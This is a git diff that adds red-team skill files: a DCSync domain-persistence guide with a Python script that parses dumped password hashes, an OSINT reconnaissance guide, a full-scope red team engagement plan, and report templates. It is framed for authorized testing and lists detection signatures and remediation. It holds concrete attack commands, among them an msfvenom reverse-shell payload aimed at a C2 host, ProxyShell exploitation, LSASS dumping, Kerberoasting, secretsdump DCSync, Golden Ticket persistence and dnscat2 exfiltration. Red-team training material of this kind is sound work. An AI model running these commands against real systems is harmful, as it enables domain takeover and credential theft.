+2. Using ntlmrelayx.py for automated DCSync rights escalation: + ```bash + # Relay authentication to add DCSync rights + ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user + ``` + +## Tools and Resources + +| Tool | Purpose | Platform | +|------|---------|----------| +| Mimikatz | DCSync extraction, Golden Ticket creation | Windows | +| secretsdump.py | Remote DCSync (Impacket) | Linux (Python) | +| ticketer.py | Golden Ticket creation (Impacket) | Linux (Python) | +| PowerView | ACL enumeration and modification | Windows (PowerShell) | +| Rubeus | Kerberos ticket manipulation | Windows (.NET) | +| ntlmrelayx.py | DCSync rights escalation via relay | Linux (Python) | + +## Critical Hashes to Extract + +| Account | Purpose | Persistence Value | +|---------|---------|-------------------| +| krbtgt | Golden Ticket creation | Indefinite domain access | +| Administrator | Direct DA access | Immediate privileged access | +| Service accounts | Lateral movement | Service access across domain | +| Computer accounts | Silver Ticket creation | Service-level impersonation | + +## Detection Signatures + +| Indicator | Detection Method | +|-----------|-----------------| +| DrsGetNCChanges RPC calls from non-DC sources | Network monitoring for DRSUAPI traffic from unusual IPs | +| Event 4662 with Replicating Directory Changes GUIDs | Windows Security Log on DC (1131f6aa-/1131f6ad- GUIDs) | +| Event 4624 with Golden Ticket anomalies | Logon events with impossible SIDs or non-existent users | +| ACL modifications on domain root object | Event 5136 (directory service changes) | +| Replication traffic volume spike | Network baseline deviation monitoring | + +## Validation Criteria + +- [ ] Accounts with DCSync rights enumerated +- [ ] KRBTGT hash extracted via DCSync +- [ ] All domain credentials dumped successfully +- [ ] Golden Ticket forged and validated for DA access +- [ ] DCSync rights persistence mechanism established (if in scope) +- [ ] Access to Domain Controller validated with Golden Ticket +- [ ] Evidence documented with hash values and timestamps +- [ ] Remediation recommendations provided (double KRBTGT reset, ACL audit) diff --git a/skills/conducting-domain-persistence-with-dcsync/assets/template.md b/skills/conducting-domain-persistence-with-dcsync/assets/template.md new file mode 100644 index 00000000..09a19ba1 --- /dev/null +++ b/skills/conducting-domain-persistence-with-dcsync/assets/template.md @@ -0,0 +1,35 @@ +# DCSync Attack Report Template + +## Target Domain + +| Field | Value | +|-------|-------| +| Domain | | +| Domain SID | | +| DC Target | | +| Attack Source Account | | +| Tool Used | Mimikatz / secretsdump.py | + +## Extracted Credentials + +| Account | Type | NT Hash | Cleartext | Persistence Value | +|---------|------|---------|-----------|-------------------| +| krbtgt | Service | | No | Golden Ticket | +| Administrator | DA | | No | Direct DA access | + +## Persistence Mechanisms + +| Mechanism | Status | Details | +|-----------|--------|---------| +| Golden Ticket | Created / Not Created | | +| DCSync Rights Granted | Yes / No | Account: | +| Silver Tickets | Created / Not Created | Services: | + +## Remediation + +| Action | Priority | +|--------|----------| +| Double KRBTGT password reset (with 10h gap) | Critical | +| Audit accounts with replication rights | Critical | +| Enable Event 4662 logging for replication GUIDs | High | +| Deploy DRSUAPI traffic monitoring | High | diff --git a/skills/conducting-domain-persistence-with-dcsync/references/standards.md b/skills/conducting-domain-persistence-with-dcsync/references/standards.md new file mode 100644 index 00000000..6d7fd6c4 --- /dev/null +++ b/skills/conducting-domain-persistence-with-dcsync/references/standards.md @@ -0,0 +1,26 @@ +# Standards and References - DCSync Domain Persistence + +## MITRE ATT&CK References + +| Technique ID | Name | Tactic | +|-------------|------|--------| +| T1003.006 | OS Credential Dumping: DCSync | Credential Access | +| T1558.001 | Steal or Forge Kerberos Tickets: Golden Ticket | Credential Access | +| T1222.001 | File and Directory Permissions Modification | Defense Evasion | +| T1098 | Account Manipulation | Persistence | +| T1078.002 | Valid Accounts: Domain Accounts | Persistence | + +## Key Research + +- MITRE ATT&CK T1003.006: https://attack.mitre.org/techniques/T1003/006/ +- Netwrix: DCSync Attack Using Mimikatz Detection +- JumpCloud: What Is DCSync? Critical AD Attack Explained +- The Hacker Recipes: DCSync technique documentation +- Atomic Red Team T1003.006 test procedures + +## Threat Actor Usage + +- APT28 (Fancy Bear) - DCSync for credential harvesting +- APT29 (Cozy Bear) - SolarWinds campaign used DCSync +- FIN6 - Financial cybercrime group +- Wizard Spider - Ryuk ransomware campaigns diff --git a/skills/conducting-domain-persistence-with-dcsync/references/workflows.md b/skills/conducting-domain-persistence-with-dcsync/references/workflows.md new file mode 100644 index 00000000..5666c6d6 --- /dev/null +++ b/skills/conducting-domain-persistence-with-dcsync/references/workflows.md @@ -0,0 +1,38 @@ +# Workflows - DCSync Domain Persistence + +## DCSync Attack Chain + +``` +1. Prerequisites + ├── Domain Admin or account with replication rights + ├── Network access to Domain Controller (TCP/135, dynamic RPC) + └── Tool: Mimikatz (Windows) or secretsdump.py (Linux) + +2. Credential Extraction + ├── Extract KRBTGT hash (Golden Ticket capability) + ├── Extract Administrator hash (immediate DA access) + ├── Extract all domain hashes (comprehensive dump) + └── Extract service account hashes (lateral movement) + +3. Golden Ticket Persistence + ├── Forge Golden Ticket with KRBTGT hash + ├── Set arbitrary user, SID, and group memberships + ├── Import ticket into current session + └── Access any resource in the domain + +4. DCSync Rights Persistence + ├── Create low-profile account in AD + ├── Grant DS-Replication-Get-Changes-All rights + ├── Verify rights with ACL enumeration + └── Account can now perform DCSync independently +``` + +## Golden Ticket Lifecycle + +``` +Creation: KRBTGT hash + Domain SID → Golden Ticket (10-year validity) +Usage: Import ticket → Access any service in domain +Survival: Persists through password resets (except double KRBTGT reset) +Detection: Anomalous TGT lifetime, non-existent users, impossible SIDs +Cleanup: Double KRBTGT password reset (with 10+ hour gap between resets) +``` diff --git a/skills/conducting-domain-persistence-with-dcsync/scripts/process.py b/skills/conducting-domain-persistence-with-dcsync/scripts/process.py new file mode 100644 index 00000000..2ffd8f51 --- /dev/null +++ b/skills/conducting-domain-persistence-with-dcsync/scripts/process.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python3 +""" +DCSync Rights Auditor and Hash Analysis Script + +Audits AD environments for accounts with DCSync rights and +analyzes dumped credential data. For authorized red team engagements only. +""" + +import sys +import os +import re +import json +from datetime import datetime +from collections import defaultdict + + +REPLICATION_GUIDS = { + "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes", + "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All", + "89e95b76-444d-4c62-991a-0facbeda640c": "DS-Replication-Get-Changes-In-Filtered-Set", +} + + +def parse_secretsdump_output(filepath: str) -> dict: + """Parse Impacket secretsdump.py output for hash extraction.""" + results = { + "ntds_hashes": [], + "kerberos_keys": [], + "cleartext_passwords": [], + "machine_accounts": [], + "user_accounts": [], + "krbtgt_hash": None, + "admin_hash": None + } + + try: + with open(filepath, "r") as f: + lines = f.readlines() + except FileNotFoundError: + print(f"File not found: {filepath}") + return results + + ntds_pattern = re.compile(r"^(.+?):([\d]+):([a-fA-F0-9]{32}):([a-fA-F0-9]{32}):::") + cleartext_pattern = re.compile(r"^(.+?):CLEARTEXT:(.+)$") + + for line in lines: + line = line.strip() + + ntds_match = ntds_pattern.match(line) + if ntds_match: + username = ntds_match.group(1) + rid = ntds_match.group(2) + lm_hash = ntds_match.group(3) + nt_hash = ntds_match.group(4) + + entry = { + "username": username, + "rid": rid, + "lm_hash": lm_hash, + "nt_hash": nt_hash, + "is_machine": username.endswith("$") + } + + results["ntds_hashes"].append(entry) + + if entry["is_machine"]: + results["machine_accounts"].append(entry) + else: + results["user_accounts"].append(entry) + + if username.lower() == "krbtgt": + results["krbtgt_hash"] = entry + elif username.lower() == "administrator": + results["admin_hash"] = entry + + cleartext_match = cleartext_pattern.match(line) + if cleartext_match: + results["cleartext_passwords"].append({ + "username": cleartext_match.group(1), + "password": cleartext_match.group(2) + }) + + return results + + +def analyze_password_reuse(hashes: list) -> dict: + """Identify password reuse across accounts.""" + hash_groups = defaultdict(list) + + for entry in hashes: + if entry["nt_hash"] != "31d6cfe0d16ae931b73c59d7e0c089c0": # Skip empty passwords + hash_groups[entry["nt_hash"]].append(entry["username"]) + + reuse = {nt_hash: users for nt_hash, users in hash_groups.items() if len(users) > 1} + return reuse + + +def generate_dcsync_report(results: dict, source_file: str) -> str: + """Generate DCSync credential analysis report.""" + report = [ + "=" * 70, + "DCSync Credential Analysis Report", + f"Generated: {datetime.now().isoformat()}", + f"Source: {source_file}", + "=" * 70, + "", + "[Summary]", + f" Total Hashes: {len(results['ntds_hashes'])}", + f" User Accounts: {len(results['user_accounts'])}", + f" Machine Accounts: {len(results['machine_accounts'])}", + f" Cleartext Passwords: {len(results['cleartext_passwords'])}", + "" + ] + + # KRBTGT hash (most critical) + if results["krbtgt_hash"]: + report.append("[CRITICAL] KRBTGT Hash Recovered:") + report.append(f" NT Hash: {results['krbtgt_hash']['nt_hash']}") + report.append(" Impact: Golden Ticket creation possible") + report.append("") + + # Administrator hash + if results["admin_hash"]: + report.append("[CRITICAL] Administrator Hash Recovered:") + report.append(f" NT Hash: {results['admin_hash']['nt_hash']}") + report.append(" Impact: Direct Domain Admin access via Pass-the-Hash") + report.append("") + + # Password reuse analysis + reuse = analyze_password_reuse(results["user_accounts"]) + if reuse: + report.append(f"[HIGH] Password Reuse Detected ({len(reuse)} shared passwords):") + for nt_hash, users in list(reuse.items())[:10]: + report.append(f" Hash ...{nt_hash[-8:]}: {', '.join(users[:5])}") + report.append("") + + # Cleartext passwords + if results["cleartext_passwords"]: + report.append(f"[HIGH] Cleartext Passwords Found ({len(results['cleartext_passwords'])}):") + for entry in results["cleartext_passwords"][:10]: + report.append(f" {entry['username']}: [REDACTED]") + report.append("") + + report.extend([ + "[Persistence Opportunities]", + " 1. Golden Ticket: Use KRBTGT hash for indefinite domain access", + " 2. Silver Tickets: Use machine account hashes for service impersonation", + " 3. Pass-the-Hash: Use NT hashes for immediate lateral movement", + " 4. Password Cracking: Offline cracking of user hashes", + "", + "=" * 70 + ]) + + return "\n".join(report) + + +def main(): + """Main entry point.""" + if len(sys.argv) < 2: + print("Usage: python process.py ") + return + + source_file = sys.argv[1] + results = parse_secretsdump_output(source_file) + + if not results["ntds_hashes"]: + print("No NTDS hashes found in the input file.") + return + + report = generate_dcsync_report(results, source_file) + print(report) + + report_file = f"dcsync_analysis_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt" + with open(report_file, "w") as f: + f.write(report) + print(f"\nReport saved to: {report_file}") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-external-reconnaissance-with-osint/SKILL.md b/skills/conducting-external-reconnaissance-with-osint/SKILL.md new file mode 100644 index 00000000..0d6928c6 --- /dev/null +++ b/skills/conducting-external-reconnaissance-with-osint/SKILL.md @@ -0,0 +1,174 @@ +--- +name: conducting-external-reconnaissance-with-osint +description: > + Conducts external reconnaissance using Open Source Intelligence (OSINT) techniques to map + an organization's external attack surface without directly interacting with target systems. + The tester gathers information from public sources including DNS records, certificate + transparency logs, search engines, social media, code repositories, and data breach databases + to build a comprehensive target profile. Activates for requests involving OSINT reconnaissance, + external footprinting, attack surface mapping, or passive information gathering. +domain: cybersecurity +subdomain: penetration-testing +tags: [OSINT, reconnaissance, attack-surface, footprinting, passive-recon] +version: 1.0.0 +author: mahipal +license: MIT +--- +# Conducting External Reconnaissance with OSINT + +## When to Use + +- Performing the initial reconnaissance phase of a penetration test to gather intelligence before active scanning +- Mapping an organization's external attack surface to identify unknown or shadow IT assets +- Collecting employee information, email formats, and organizational structure for social engineering campaigns +- Identifying exposed credentials, leaked data, or sensitive documents published on the internet +- Scoping the breadth of an organization's digital footprint prior to a red team engagement + +**Do not use** for stalking, harassment, or unauthorized surveillance of individuals. OSINT gathering must be conducted within the scope of an authorized engagement and comply with applicable privacy laws (GDPR, CCPA). + +## Prerequisites + +- Written authorization to perform reconnaissance against the target organization +- Dedicated research workstation with a VPN or Tor for anonymized queries when required +- OSINT framework tools installed: Amass, theHarvester, Shodan CLI, Recon-ng, SpiderFoot +- API keys for Shodan, Censys, SecurityTrails, Hunter.io, VirusTotal, and GitHub for enhanced results +- Disposable email accounts for accessing services that require registration during research + +## Workflow + +### Step 1: Domain and DNS Enumeration + +Enumerate all domains, subdomains, and DNS records associated with the target: + +- **Root domain identification**: Start with the primary domain and identify all related domains through reverse WHOIS lookups on registrant name, email, and organization using `whoxy.com` or `domaintools.com` +- **Subdomain enumeration**: Run multiple tools for comprehensive coverage: + - `amass enum -passive -d target.com -o amass_subs.txt` for passive subdomain discovery from 40+ data sources + - `subfinder -d target.com -all -o subfinder_subs.txt` for fast passive enumeration + - `crt.sh` certificate transparency log queries: `curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u` +- **DNS record analysis**: Query for all record types: `dig target.com ANY`, check for SPF, DKIM, DMARC records that reveal email infrastructure, and enumerate MX records to identify email providers +- **Zone transfer attempt**: `dig axfr @ns1.target.com target.com` to check for misconfigured DNS servers +- **Consolidate results**: Merge, deduplicate, and resolve all discovered subdomains to IP addresses. Map IP addresses to ASN and hosting providers. + +### Step 2: Infrastructure and Service Discovery + +Identify internet-facing infrastructure without directly scanning target systems: + +- **Shodan**: `shodan search "ssl.cert.subject.cn:target.com"` to find all internet-facing services with TLS certificates for the target domain. Also search by organization name and IP ranges. +- **Censys**: Search for target's IP ranges and TLS certificates to identify services, technologies, and potential vulnerabilities indexed from internet-wide scanning +- **Cloud asset discovery**: Check for S3 buckets (`target-com`, `target-backup`, `target-dev`), Azure Blob storage (`target.blob.core.windows.net`), and GCP storage using tools like `cloud_enum` +- **WAF and CDN identification**: Use `wafw00f target.com` to identify web application firewalls and CDN providers that may mask the origin server IP +- **Historical data**: Use Wayback Machine (`web.archive.org`) to find removed pages, old application versions, and forgotten endpoints + +### Step 3: Email and Personnel Intelligence + +Gather employee information and email addresses for social engineering preparation: + +- **Email harvesting**: `theHarvester -d target.com -b all -f harvest_results.html` to collect emails from search engines, LinkedIn, and data sources +- **Email format identification**: Use `hunter.io` to determine the email format (first.last, flast, firstl) and verify deliverability +- **LinkedIn reconnaissance**: Identify employees by department, particularly IT administrators, security team members, and executives. Note technologies mentioned in job postings and employee profiles. +- **Organizational chart**: Build an org chart from LinkedIn data to understand reporting structures, identify key personnel, and map departments +- **Social media analysis**: Review employee social media profiles for information about internal tools, technologies, office locations, badge photos, and security practices +- **Job postings**: Analyze current and historical job postings on the company career page and job boards for technology stack details, tools, and infrastructure information + +### Step 4: Credential and Data Leak Analysis + +Search for exposed credentials and sensitive data: + +- **Breach databases**: Check `haveibeenpwned.com` API for breached email addresses associated with the target domain +- **Paste sites**: Search Pastebin, GitHub Gists, and similar paste sites for leaked credentials, configuration files, or internal documents +- **Code repositories**: Search GitHub, GitLab, and Bitbucket for: + - `org:target "password"`, `org:target "api_key"`, `org:target "secret"` + - Use `trufflehog` or `gitleaks` for automated secret scanning across the target's public repositories +- **Document metadata**: Download publicly available documents (PDF, DOCX, XLSX) from the target website and extract metadata using `exiftool` to reveal internal usernames, software versions, printer names, and file paths +- **Google dorking**: Use targeted search operators: + - `site:target.com filetype:pdf` for public documents + - `site:target.com inurl:admin` for admin panels + - `site:target.com "index of /"` for directory listings + - `site:pastebin.com "target.com"` for paste site mentions + +### Step 5: Technology Stack Profiling + +Identify the technologies, frameworks, and services used by the target: + +- **Web technology fingerprinting**: Use `whatweb target.com` or Wappalyzer browser extension to identify CMS, frameworks, JavaScript libraries, analytics, and server software +- **SSL/TLS analysis**: `sslyze target.com` or `testssl.sh target.com` to identify cipher suites, protocol versions, certificate details, and cryptographic weaknesses +- **JavaScript analysis**: Download and review JavaScript files for framework identifiers, API endpoints, internal hostnames, and version strings +- **DNS-based service identification**: Review TXT records for service providers (e.g., `v=spf1 include:_spf.google.com` indicates Google Workspace, `MS=msXXXXXX` indicates Microsoft 365) +- **Mobile app analysis**: Download the target's mobile applications from app stores and analyze with `apktool` (Android) or `frida` for hardcoded URLs, API endpoints, and embedded credentials + +## Key Concepts + +| Term | Definition | +|------|------------| +| **OSINT** | Open Source Intelligence; intelligence collected from publicly available sources including websites, social media, public records, and government data | +| **Passive Reconnaissance** | Information gathering without directly interacting with target systems, leaving no footprint in target logs | +| **Active Reconnaissance** | Information gathering that involves direct interaction with target systems (scanning, probing) and may be logged | +| **Certificate Transparency** | Public logs of TLS certificates issued by certificate authorities, queryable to discover subdomains and infrastructure | +| **Attack Surface** | The sum of all points where an unauthorized user can attempt to enter or extract data from an environment | +| **Google Dorking** | Using advanced Google search operators to find sensitive information indexed by search engines that was not intended to be public | +| **Shadow IT** | Technology systems and services deployed by employees or departments without the knowledge or approval of the IT department | + +## Tools & Systems + +- **Amass (OWASP)**: Comprehensive subdomain enumeration tool that combines passive sources, DNS brute-forcing, and certificate transparency log analysis +- **Shodan**: Internet-wide scanning database that indexes services, banners, and metadata for internet-connected devices, searchable by IP, domain, or organization +- **theHarvester**: OSINT tool for gathering emails, subdomains, hosts, employee names, and open ports from public sources +- **SpiderFoot**: Automated OSINT collection platform that queries 200+ data sources and correlates findings into a unified graph +- **Recon-ng**: Modular web reconnaissance framework with a database backend for organizing and cross-referencing discovered intelligence + +## Common Scenarios + +### Scenario: Pre-Engagement Reconnaissance for a Red Team Exercise + +**Context**: A technology company has contracted a red team assessment. Before active testing begins, the team conducts passive OSINT to map the attack surface and identify potential entry points. The target is a SaaS company with 500 employees and a primary domain of techcorp.io. + +**Approach**: +1. Enumerate 147 subdomains via Amass and crt.sh, including staging.techcorp.io, jenkins.techcorp.io, and vpn.techcorp.io +2. Shodan reveals a forgotten Elasticsearch instance on port 9200 with no authentication exposed to the internet +3. theHarvester collects 89 employee email addresses, revealing the format first.last@techcorp.io +4. GitHub search discovers a former developer's public repository containing a `.env` file with AWS access keys +5. LinkedIn analysis reveals the company uses Okta for SSO, Jira for project management, and AWS for hosting +6. Google dorking finds a directory listing on docs.techcorp.io exposing internal architecture diagrams +7. Compile all intelligence into a reconnaissance report that feeds directly into the threat modeling and attack planning phases + +**Pitfalls**: +- Relying on a single subdomain enumeration tool and missing assets found by other tools using different data sources +- Failing to check cloud storage services (S3, Azure Blob, GCP) for publicly accessible buckets +- Not searching for credentials in public code repositories, which frequently yield immediate access +- Conducting active scanning (port scans, vulnerability scans) during what should be a passive-only phase + +## Output Format + +``` +## External Reconnaissance Report - TechCorp.io + +### Attack Surface Summary +- **Domains discovered**: 3 (techcorp.io, techcorp.com, techcorpapp.com) +- **Subdomains enumerated**: 147 unique subdomains across all domains +- **Unique IP addresses**: 34 IPs mapped across AWS us-east-1 and us-west-2 +- **Email addresses collected**: 89 valid corporate email addresses +- **Exposed services**: 12 internet-facing services identified via Shodan/Censys + +### Critical Findings + +**1. Unauthenticated Elasticsearch Instance** +- Host: 52.xx.xx.xx:9200 (elastic.techcorp.io) +- Indexed data: Application logs containing user session tokens and PII +- Source: Shodan search "ssl.cert.subject.cn:techcorp.io" + +**2. AWS Credentials in Public GitHub Repository** +- Repository: github.com/former-dev/techcorp-scripts +- File: .env containing AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY +- Status: Keys appear active (not tested - out of scope for passive recon) + +**3. Directory Listing Exposing Internal Documents** +- URL: https://docs.techcorp.io/internal/ +- Contents: Architecture diagrams, network topology, runbooks +- Source: Google dork "site:techcorp.io intitle:index.of" + +### Recommendations +1. Immediately rotate the exposed AWS credentials and audit CloudTrail logs +2. Restrict Elasticsearch access to internal networks or add authentication +3. Disable directory listings on docs.techcorp.io and audit all web servers +4. Implement GitHub secret scanning across all organization repositories +``` diff --git a/skills/conducting-full-scope-red-team-engagement/SKILL.md b/skills/conducting-full-scope-red-team-engagement/SKILL.md new file mode 100644 index 00000000..c7df368a --- /dev/null +++ b/skills/conducting-full-scope-red-team-engagement/SKILL.md @@ -0,0 +1,172 @@ +--- +name: conducting-full-scope-red-team-engagement +description: Plan and execute a comprehensive red team engagement covering reconnaissance through post-exploitation using MITRE ATT&CK-aligned TTPs to evaluate an organization's detection and response capabilities. +domain: cybersecurity +subdomain: red-teaming +tags: [red-team, adversary-emulation, mitre-attack, penetration-testing, offensive-security, purple-team, ttp-mapping] +version: "1.0" +author: mahipal +license: MIT +--- + +# Conducting Full-Scope Red Team Engagement + +## Overview + +A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs). + +## Prerequisites + +- Written authorization (Rules of Engagement document) signed by executive leadership +- Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures +- Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group) +- Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment +- Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws + +## Engagement Phases + +### Phase 1: Planning and Threat Modeling + +Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile: + +| Kill Chain Phase | MITRE ATT&CK Tactic | Example Techniques | +|---|---|---| +| Reconnaissance | TA0043 | T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info | +| Resource Development | TA0042 | T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware | +| Initial Access | TA0001 | T1566.001 Spearphishing Attachment, T1078 Valid Accounts | +| Execution | TA0002 | T1059.001 PowerShell, T1204.002 User Execution: Malicious File | +| Persistence | TA0003 | T1053.005 Scheduled Task, T1547.001 Registry Run Keys | +| Privilege Escalation | TA0004 | T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass | +| Defense Evasion | TA0005 | T1055 Process Injection, T1027 Obfuscated Files | +| Credential Access | TA0006 | T1003.001 LSASS Memory, T1558.003 Kerberoasting | +| Discovery | TA0007 | T1087 Account Discovery, T1018 Remote System Discovery | +| Lateral Movement | TA0008 | T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash | +| Collection | TA0009 | T1560 Archive Collected Data, T1213 Data from Information Repositories | +| Exfiltration | TA0010 | T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol | +| Impact | TA0040 | T1486 Data Encrypted for Impact, T1489 Service Stop | + +### Phase 2: Reconnaissance (OSINT) + +```bash +# Passive DNS enumeration +amass enum -passive -d target.com -o amass_passive.txt + +# Certificate transparency log search +python3 -c " +import requests +url = 'https://crt.sh/?q=%.target.com&output=json' +r = requests.get(url) +for cert in r.json(): + print(cert['name_value']) +" | sort -u > subdomains.txt + +# LinkedIn employee enumeration +theHarvester -d target.com -b linkedin -l 500 -f harvest_results + +# Technology fingerprinting +whatweb -v target.com --log-json=whatweb.json + +# Breach data credential search (authorized) +h8mail -t target.com -o h8mail_results.csv +``` + +### Phase 3: Initial Access + +Common initial access vectors for red team engagements: + +**Spearphishing (T1566.001):** +```bash +# Generate payload with macro +msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba + +# Set up GoPhish campaign +# Configure SMTP profile, email template with pretexted lure, and landing page +gophish --config config.json +``` + +**External Service Exploitation (T1190):** +```bash +# Scan for vulnerable services +nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan + +# Exploit known CVE (example: ProxyShell CVE-2021-34473) +python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com +``` + +### Phase 4: Post-Exploitation and Lateral Movement + +```powershell +# Situational awareness (T1082, T1016) +whoami /all +systeminfo +ipconfig /all +net group "Domain Admins" /domain +nltest /dclist:target.com + +# Credential harvesting from LSASS (T1003.001) +# Using Havoc C2 built-in module +dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords + +# Kerberoasting (T1558.003) +Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt + +# Lateral movement via WMI (T1047) +wmiexec.py domain/user:password@target-dc -c "whoami" + +# Lateral movement via PsExec (T1021.002) +psexec.py domain/admin:password@fileserver.target.com +``` + +### Phase 5: Objective Achievement + +Define and pursue specific objectives: + +1. **Domain Dominance**: Achieve Domain Admin access and DCSync credentials +2. **Data Exfiltration**: Locate and exfiltrate crown jewel data (e.g., PII, financial records) +3. **Business Impact Simulation**: Demonstrate ransomware deployment capability (without execution) +4. **Physical Access**: Badge cloning, tailgating, server room access + +```bash +# DCSync attack (T1003.006) +secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm + +# Exfiltration over DNS (T1048.003) +dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t +``` + +### Phase 6: Reporting and Debrief + +The report should include: + +1. **Executive Summary**: Business impact, risk rating, key findings +2. **Attack Narrative**: Timeline of activities with screenshots and evidence +3. **MITRE ATT&CK Mapping**: Full heat map of techniques used +4. **Findings**: Each finding with CVSS score, evidence, remediation +5. **Detection Gap Analysis**: What the SOC detected vs. what was missed +6. **Purple Team Recommendations**: Specific detection rules for gaps identified + +## Metrics and KPIs + +| Metric | Description | +|---|---| +| Mean Time to Detect (MTTD) | Average time from action to SOC detection | +| Mean Time to Respond (MTTR) | Average time from detection to containment | +| TTP Coverage | Percentage of executed techniques detected | +| Objective Achievement Rate | Percentage of defined objectives completed | +| Dwell Time | Total time red team maintained access undetected | + +## Tools and Frameworks + +- **C2 Frameworks**: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4 +- **Reconnaissance**: Amass, Recon-ng, theHarvester, SpiderFoot +- **Exploitation**: Metasploit, Impacket, CrackMapExec, Rubeus +- **Post-Exploitation**: Mimikatz, SharpCollection, BOF.NET +- **Reporting**: PlexTrac, Ghostwriter, Serpico + +## References + +- MITRE ATT&CK Framework: https://attack.mitre.org/ +- Red Team Guide: https://redteam.guide/ +- PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/ +- TIBER-EU Framework for Red Teaming: https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/ +- CBEST Intelligence-Led Testing: https://www.bankofengland.co.uk/financial-stability/financial-sector-continuity diff --git a/skills/conducting-full-scope-red-team-engagement/assets/template.md b/skills/conducting-full-scope-red-team-engagement/assets/template.md new file mode 100644 index 00000000..aca89f11 --- /dev/null +++ b/skills/conducting-full-scope-red-team-engagement/assets/template.md @@ -0,0 +1,266 @@ +# Red Team Engagement Report Template + +## Document Control + +| Field | Value | +|---|---| +| Engagement ID | RT-2025-XXX | +| Client Name | [Organization Name] | +| Report Date | YYYY-MM-DD | +| Classification | CONFIDENTIAL | +| Report Version | 1.0 | +| Lead Operator | [Name] | +| Reviewed By | [Name] | + +--- + +## 1. Executive Summary + +### 1.1 Engagement Overview + +[Organization Name] engaged [Red Team Company] to conduct a full-scope red team assessment from [start date] to [end date]. The engagement simulated the tactics, techniques, and procedures (TTPs) of [Threat Actor], targeting [objectives]. + +### 1.2 Key Findings Summary + +| # | Finding | Severity | Detected | +|---|---|---|---| +| 1 | [Finding Title] | Critical | No | +| 2 | [Finding Title] | High | Yes | +| 3 | [Finding Title] | High | No | +| 4 | [Finding Title] | Medium | Yes | + +### 1.3 Overall Risk Rating + +**[CRITICAL / HIGH / MEDIUM / LOW]** + +The red team achieved [X of Y] defined objectives, with [Z]% of activities detected by the security operations center. Critical gaps were identified in [area 1], [area 2], and [area 3]. + +### 1.4 Metrics at a Glance + +| Metric | Value | +|---|---| +| Total TTPs Executed | XX | +| Detection Rate | XX% | +| Mean Time to Detect | XX hours | +| Objectives Achieved | X/Y | +| Dwell Time (Undetected) | XX days | +| Unique Hosts Compromised | XX | +| Credentials Harvested | XX | + +--- + +## 2. Scope and Rules of Engagement + +### 2.1 Engagement Scope + +**In-Scope:** +- Network ranges: [CIDR ranges] +- Domains: [domains] +- Physical locations: [if applicable] +- Personnel: [if social engineering in scope] + +**Out-of-Scope:** +- [Systems/networks excluded] +- [Actions prohibited] + +### 2.2 Rules of Engagement + +- Authorization document reference: [RoE document ID] +- Approved hours of operation: [hours] +- Emergency contact: [name, phone] +- Deconfliction process: [description] + +### 2.3 Threat Profile + +**Emulated Adversary:** [Threat Actor Name] +- MITRE ATT&CK Group: [Group ID] +- Known Targets: [industries/regions] +- Typical TTPs: [summary of techniques] + +--- + +## 3. Attack Narrative + +### 3.1 Engagement Timeline + +``` +Day 1-5: Reconnaissance and OSINT +Day 6-8: Infrastructure setup and payload development +Day 9-12: Initial access attempts +Day 13-20: Post-exploitation, lateral movement, persistence +Day 21-25: Objective pursuit and data exfiltration +Day 26-28: Cleanup and evidence collection +``` + +### 3.2 Phase 1: Reconnaissance + +**Objective:** Identify attack surface and high-value targets + +| Action | Technique | Result | +|---|---|---| +| Subdomain enumeration | T1593 | Found XX subdomains | +| Employee enumeration | T1589.002 | Identified XX employees | +| Credential search | T1589.001 | Found XX breached credentials | + +**Key Discoveries:** +- [Discovery 1 with evidence] +- [Discovery 2 with evidence] + +### 3.3 Phase 2: Initial Access + +**Objective:** Establish initial foothold on target network + +**Vector Used:** [T1566.001 Spearphishing / T1190 Exploit / etc.] + +**Detailed Walkthrough:** +1. [Step 1 with screenshot reference] +2. [Step 2 with screenshot reference] +3. [Step 3 with screenshot reference] + +**Detection Status:** [Detected/Undetected] by [source] at [time] + +### 3.4 Phase 3: Post-Exploitation + +**Objective:** Escalate privileges and establish persistence + +| Action | Technique | Host | Result | Detected | +|---|---|---|---|---| +| Credential dump | T1003.001 | WS-XXX | Obtained X creds | Yes/No | +| Kerberoasting | T1558.003 | DC01 | Cracked X SPNs | Yes/No | +| Scheduled task | T1053.005 | WS-XXX | Persistence set | Yes/No | + +### 3.5 Phase 4: Lateral Movement + +**Objective:** Move toward crown jewel systems + +**Attack Path:** +``` +Initial Foothold (WS-042) + └── Credential Reuse (T1078) + └── File Server (FS01) via PsExec (T1021.002) + └── Database Server (DB01) via RDP (T1021.001) + └── Domain Controller (DC01) via DCSync (T1003.006) +``` + +### 3.6 Phase 5: Objective Achievement + +| Objective | Status | Evidence | +|---|---|---| +| Domain Admin Access | 